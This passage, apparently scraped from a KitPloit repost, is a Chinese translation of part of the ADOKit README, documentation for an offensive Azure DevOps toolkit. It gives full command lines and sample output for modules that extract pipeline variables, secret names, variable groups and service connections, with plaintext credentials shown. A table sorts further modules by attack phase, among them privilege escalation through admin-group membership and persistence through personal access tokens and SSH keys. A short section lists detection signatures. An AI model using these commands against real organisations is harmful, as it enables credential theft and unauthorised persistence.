4/5/23 15:21:44 Finished execution of removecollectionsvc

获取管道变量

用例

提取项目中使用的任何管道变量,其中可能包含凭据或其他有用信息。

语法

提供 getpipelinevars 模块,并指定一个 /project: 来提取目标项目正在使用的任何管道变量。如果希望从所有项目中提取管道变量,则在 /project: 参数中指定 all。

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

示例输出```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### 获取管道机密

#### 使用场景

> *提取项目中正在使用的任何管道机密的名称,这将指导操作员在哪里尝试执行机密提取。*

#### 语法

提供 `getpipelinesecrets` 模块以及针对指定项目的 `/project:` 参数,以提取正在使用的任何管道机密的名称。如果您想从所有项目中提取管道机密的名称,请在 `/project:` 参数中指定 `all`。

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### 示例输出```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

获取变量组

用例

提取项目中使用的任何变量组及其对应变量,其中可能包含凭据或其他有用信息。

语法

提供 getvariablegroups 模块以及一个 /project: 参数,指定要提取变量组的项目。如果想从所有项目中提取变量组,请在 /project: 参数中指定 all。

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

示例输出```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### 获取服务连接

#### 用例

> *列出项目中正在使用的任何服务连接,这将指导操作员尝试对正在使用的服务连接执行凭据提取的位置。*

#### 语法

提供 `getserviceconnections` 模块以及指定项目的 `/project:` 参数,以列出正在使用的任何服务连接。如果要列出所有项目中正在使用的服务连接,请在 `/project:` 参数中指定 `all`。

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### 示例输出```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getserviceconnections
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                             Connection Name |      Connection Type |                                                           ID
--------------------------------------------------------------------------------------------------------------------------------------------------
                                        Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                         Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac
  Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

检测

以下是该工具在默认状态下特定用法的静态签名:

  • 项目 GUID - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
    • 参见本仓库中的 ADOKit Yara 规则。
  • 用户代理字符串 - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
    • 参见本仓库中的 ADOKit Snort 规则。
  • Microsoft Sentinel 规则
    • ADOKitUsage.json - 检测任何可审计事件中 ADOKit 的使用(例如,将用户添加到组)
    • PersistenceTechniqueWithADOKit.json - 检测使用 ADOKit 创建 PAT 或 SSH 密钥

关于工具所用技术的检测指导,请参阅 X-Force Red 的白皮书。

路线图

  • 支持 Azure DevOps Server

参考

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops
下载工具
  • addcollectionadmin - 将用户添加到“项目集合管理员”组
  • removecollectionadmin - 将用户从“项目集合管理员”组中移除
  • addcollectionbuildadmin - 将用户添加到“项目集合构建管理员”组
  • removecollectionbuildadmin - 将用户从“项目集合构建管理员”组中移除
  • addcollectionbuildsvc - 将用户添加到“项目集合构建服务帐户”组
  • removecollectionbuildsvc - 将用户从“项目集合构建服务帐户”组中移除
  • addcollectionsvc - 将用户添加到“项目集合服务帐户”组
  • removecollectionsvc - 将用户从“项目集合服务帐户”组中移除
  • getpipelinevars - 检索指定项目中使用的所有管道变量。
  • getpipelinesecrets - 检索指定项目中使用的所有管道机密的名称。
  • getvariablegroups - 检索指定项目中使用的所有变量组及其对应的变量。
  • getserviceconnections - 检索指定项目中使用的服务连接。
  • 攻击场景模块需要特殊权限?备注
    侦察check否
    侦察whoami否
    侦察listorgs否
    侦察listrepo否
    侦察searchrepo否
    侦察listproject否
    侦察searchproject否
    侦察searchcode否
    侦察searchfile否
    侦察listuser否
    侦察searchuser否
    侦察listteam否
    侦察searchteam否
    侦察getteammembers否
    侦察listgroup否
    侦察searchgroup否
    侦察getgroupmembers否
    侦察getpermissions否
    侦察creds否
    侦察getbuildlogs是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    侦察listbuildlogs是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    侦察searchbuildlogs是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    持久化createpat否
    持久化listpat否
    持久化removepat否
    持久化createsshkey否
    持久化listsshkey否
    持久化removesshkey否
    权限提升addprojectadmin是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts
    权限提升removeprojectadmin是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts
    权限提升addbuildadmin是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts
    权限提升removebuildadmin是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts
    权限提升addcollectionadmin是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升removecollectionadmin是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升addcollectionbuildadmin是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升removecollectionbuildadmin是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升addcollectionbuildsvc是 - Project Collection Administrator、Project Colection Build Administrators 或 Project Collection Service Accounts
    权限提升removecollectionbuildsvc是 - Project Collection Administrator、Project Colection Build Administrators 或 Project Collection Service Accounts
    权限提升addcollectionsvc是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升removecollectionsvc是 - Project Collection Administrator 或 Project Collection Service Accounts
    权限提升getpipelinevars是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    权限提升getpipelinesecrets是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    权限提升getvariablegroups是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators
    权限提升getserviceconnections是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts